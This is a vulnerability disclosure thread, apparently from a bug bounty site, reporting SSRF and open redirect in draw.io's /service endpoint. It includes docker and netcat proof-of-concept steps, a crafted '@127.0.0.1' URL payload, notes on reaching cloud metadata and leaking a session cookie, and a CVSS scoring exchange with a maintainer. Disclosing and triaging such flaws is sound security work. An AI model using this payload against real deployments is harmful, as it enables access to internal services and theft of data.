SSRF in /service endpoint in jgraph/drawio
Reported on
May 20th 2022
Description
The problem came from this line of code
I ran docker-drawio with following command :
docker run -it --rm --name="draw" -e EXPORT_URL=http://somesite.com -p 8080:8080 -p 8443:8443 jgraph/drawio
if the drawio EXPORT_URL is set to an address without any / after the primary Hostname like http://somesite.com( not like http://somesite.com/something or http://somesite.com/), then an attacker can send a request to 127.0.0.1:4431 with a payload like http://draio-instance/service/0/@127.0.0.1:4431
Proof of Concept
- run
docker run -it --rm --name="draw" -e EXPORT_URL=http://google.com -p 8080:8080 -p 8443:8443 jgraph/drawioand thendocker psand get the drawio hash name ( called HN) - run
docker exec -it HN /bin/bash - run
apt update && apt install netcat && netcat -l 4430 - go to
http://draio-instance:8080/service/0/@127.0.0.1:4431you can see the http log on netcat had been recorded
it is a Full SSRF If you need another POC I can give you an HTTP logger script that returns some things to the attacker

Also, I don't know what exactly is JSESSIONID cookie? but I can receive its content in a My public IP after redirect too!
Impact
The impact is achieved to all internal http webservers' contents if they host a file with a short and enumerable name! Or get cloud metadata, port scanning, and some special cases achieve RCE too!
However, it is an Open-redirect too.
about the CVSS:
Attack Complexity is high because this vulnerability depends on some special configuration for EXPORT_URL.
Availability is none
Confidentiality and Availability can be high as it is a full SSRF.
I think 7.4 is a good score if you don't please tell me to change it, please.
Hey. We're thinking about this one (please also consider it's the weekend and we're not working). I'd say the integrity affect is low, following the guidance on https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator, since it's dependent on a number of server setup factor, the integrity effect is certainly not high in every case, and would be none for certain setups.
I made a mistake. The attack complexity is not high because, as you say, because of the server setup factor, the integrity should be none, and also attack complexity about how we can exploit the founded vulnerability. Here the exploit is simple. even not need any server for DNS rebinds or redirection URLs.
So do you agree with 5.3?
Yes, I think medium overall is right for this issue. We'll investigate it today.